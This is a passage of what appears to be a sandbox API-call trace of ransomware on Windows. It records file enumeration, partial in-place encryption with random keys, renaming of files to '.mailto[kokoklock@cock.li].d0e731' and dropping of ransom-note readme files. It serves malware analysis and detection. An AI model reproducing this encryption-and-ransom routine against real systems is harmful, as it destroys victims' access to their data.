ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a3e27, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.inf", cAlternateFileName="")) returned 1 [0072.905] wcscmp (_String1="nxquery.inf", _String2=".") returned 1 [0072.905] wcscmp (_String1="nxquery.inf", _String2="..") returned 1 [0072.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426f30 [0072.906] wcscpy (in: _Dest=0x3426f30, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0072.906] wcscat (in: _Dest=0x3426f30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0072.906] wcscat (in: _Dest=0x3426f30, _Source="nxquery.inf" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" [0072.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0072.906] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a652e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a652e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0072.906] wcscmp (_String1="NXQuery.sys", _String2=".") returned 1 [0072.907] wcscmp (_String1="NXQuery.sys", _String2="..") returned 1 [0072.907] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a652e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a652e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 0 [0072.907] FindClose (in: hFindFile=0x3434028 | out: hFindFile=0x3434028) returned 1 [0072.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e268) returned 1 [0072.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cda28) returned 1 [0072.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa468) returned 1 [0072.908] RtlExitUserThread (Status=0x0) Thread: id = 149 os_tid = 0x10cc [0062.929] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt")) returned 0x20 [0062.930] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt", dwFileAttributes=0x20) returned 1 [0062.935] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0062.935] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x96af88c | out: lpFileSize=0x96af88c*=825371) returned 1 [0062.935] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xc9817, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.935] ReadFile (in: hFile=0x3dc, lpBuffer=0x96af860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x96af860*, lpNumberOfBytesRead=0x96af85c*=0x4, lpOverlapped=0x0) returned 1 [0063.652] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0063.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c10 [0063.652] NtQuerySystemTime (in: CurrentTime=0x96af838 | out: CurrentTime=0x96af838*=132121176215496348) returned 0x0 [0063.652] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xeb10ca09 [0063.652] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x72f074e1 [0063.652] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xa8438591 [0063.652] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xcb4ee958 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xe91513df [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x9ac28ade [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x5b24a10a [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xf0465d63 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x5eb2cc2e [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x15b4f2e4 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x2316b398 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x3a643a52 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xa2213bb0 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x20c8decc [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x32399a6e [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xbbbdebd5 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x3bbf9915 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x476b3c76 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x8f58b0cf [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x3eb3755f [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xc7fc4e66 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x6abddcb6 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xe796bda5 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xa82f0de7 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xd0034685 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x55bbcae9 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x529d9a03 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x3fd40f6d [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0xdc02dadb [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x34777f82 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x6da22f54 [0063.653] RtlRandom (in: Seed=0x96af844 | out: Seed=0x96af844) returned 0x703f37cc [0063.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0063.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4990 [0063.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0063.667] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.667] ReadFile (in: hFile=0x3dc, lpBuffer=0x55b0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x96af7f8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesRead=0x96af7f8*=0x4096, lpOverlapped=0x0) returned 1 [0063.949] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0063.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0170 [0063.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0170) returned 1 [0063.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0063.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0170 [0063.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0063.950] WriteFile (in: hFile=0x3dc, lpBuffer=0x55e8908*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x96af7f8, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesWritten=0x96af7f8*=0x4096, lpOverlapped=0x0) returned 1 [0063.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0063.950] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x64ea6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.950] ReadFile (in: hFile=0x3dc, lpBuffer=0x55b0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x96af7f8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesRead=0x96af7f8*=0x4096, lpOverlapped=0x0) returned 1 [0064.319] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x64ea6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0064.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efec8 [0064.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0148 [0064.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0148) returned 1 [0064.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0064.319] WriteFile (in: hFile=0x3dc, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x96af7f8, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0x96af7f8*=0x4096, lpOverlapped=0x0) returned 1 [0064.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.320] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xc5785, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.320] ReadFile (in: hFile=0x3dc, lpBuffer=0x55b0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x96af7f8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesRead=0x96af7f8*=0x4096, lpOverlapped=0x0) returned 1 [0064.422] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xc5785, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0064.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0064.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b40e8 [0064.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0064.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe50) returned 1 [0064.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0064.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0064.423] WriteFile (in: hFile=0x3dc, lpBuffer=0x55b40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x96af7f8, lpOverlapped=0x0 | out: lpBuffer=0x55b40e8*, lpNumberOfBytesWritten=0x96af7f8*=0x4096, lpOverlapped=0x0) returned 1 [0064.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b40e8) returned 1 [0064.423] WriteFile (in: hFile=0x3dc, lpBuffer=0x33f0170*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x96af854, lpOverlapped=0x0 | out: lpBuffer=0x33f0170*, lpNumberOfBytesWritten=0x96af854*=0x20, lpOverlapped=0x0) returned 1 [0064.423] WriteFile (in: hFile=0x3dc, lpBuffer=0x33efec8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x96af854, lpOverlapped=0x0 | out: lpBuffer=0x33efec8*, lpNumberOfBytesWritten=0x96af854*=0x20, lpOverlapped=0x0) returned 1 [0064.423] WriteFile (in: hFile=0x3dc, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x96af854, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0x96af854*=0x20, lpOverlapped=0x0) returned 1 [0064.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.426] WriteFile (in: hFile=0x3dc, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0x96af85c*=0x8, lpOverlapped=0x0) returned 1 [0064.426] WriteFile (in: hFile=0x3dc, lpBuffer=0x96af874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x96af874*, lpNumberOfBytesWritten=0x96af85c*=0x4, lpOverlapped=0x0) returned 1 [0064.426] WriteFile (in: hFile=0x3dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x96af85c*=0x4, lpOverlapped=0x0) returned 1 [0064.426] WriteFile (in: hFile=0x3dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x96af85c*=0x6c, lpOverlapped=0x0) returned 1 [0064.426] WriteFile (in: hFile=0x3dc, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0x96af85c*=0x20, lpOverlapped=0x0) returned 1 [0064.426] WriteFile (in: hFile=0x3dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x96af85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x96af85c*=0x4, lpOverlapped=0x0) returned 1 [0064.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0064.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0064.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0064.426] CloseHandle (hObject=0x3dc) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33cedf8 [0066.409] wcscpy (in: _Dest=0x33cedf8, _Source="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" [0066.409] wcscat (in: _Dest=0x33cedf8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731" [0066.409] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.411] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cedf8) returned 1 [0066.411] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt", dwFileAttributes=0x20) returned 0 [0066.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e5e0 [0066.411] wcscpy (in: _Dest=0x347e5e0, _Source="C:\\Windows10Upgrade\\resources\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0066.411] wcscat (in: _Dest=0x347e5e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\D0E731-Readme.txt" [0066.412] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\d0e731-readme.txt")) returned 0xffffffff [0066.412] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0066.412] WriteFile (in: hFile=0x3dc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x96af858, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x96af858*=0x481, lpOverlapped=0x0) returned 1 [0066.413] CloseHandle (hObject=0x3dc) returned 1 [0066.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e5e0) returned 1 [0066.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420a10) returned 1 [0066.413] RtlExitUserThread (Status=0x1) Thread: id = 150 os_tid = 0x10d0 [0062.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x34249a0 [0062.937] wcscpy (in: _Dest=0x34249a0, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0062.937] wcscat (in: _Dest=0x34249a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0062.937] wcscat (in: _Dest=0x34249a0, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\*") returned="C:\\Windows10Upgrade\\resources\\i386\\*" [0062.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e4d0 [0062.937] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\i386\\*", lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b2895, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0062.938] wcscmp (_String1=".", _String2=".") returned 0 [0062.938] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b2895, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.938] wcscmp (_String1="..", _String2=".") returned 1 [0062.938] wcscmp (_String1="..", _String2="..") returned 0 [0062.938] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ab347, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ab347, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1 [0062.938] wcscmp (_String1="BiosBlocks.xml", _String2=".") returned 1 [0062.938] wcscmp (_String1="BiosBlocks.xml", _String2="..") returned 1 [0062.938] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x33e8df0 [0062.939] wcscpy (in: _Dest=0x33e8df0, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0062.939] wcscat (in: _Dest=0x33e8df0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0062.939] wcscat (in: _Dest=0x33e8df0, _Source="BiosBlocks.xml" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" [0072.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0072.895] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ac6e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ac6e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4071, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompat.txt", cAlternateFileName="")) returned 1 [0072.895] wcscmp (_String1="hwcompat.txt", _String2=".") returned 1 [0072.895] wcscmp (_String1="hwcompat.txt", _String2="..") returned 1 [0072.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427138 [0072.895] wcscpy (in: _Dest=0x3427138, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0072.895] wcscat (in: _Dest=0x3427138, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0072.895] wcscat (in: _Dest=0x3427138, _Source="hwcompat.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" [0072.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0072.896] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ada69, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ada69, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwexclude.txt", cAlternateFileName="HWEXCL~1.TXT")) returned 1 [0072.896] wcscmp (_String1="hwexclude.txt", _String2=".") returned 1 [0072.896] wcscmp (_String1="hwexclude.txt", _String2="..") returned 1 [0072.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e340 [0072.896] wcscpy (in: _Dest=0x347e340, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0072.896] wcscat (in: _Dest=0x347e340, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0072.896] wcscat (in: _Dest=0x347e340, _Source="hwexclude.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" [0072.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0072.897] FindNextFileW (in: 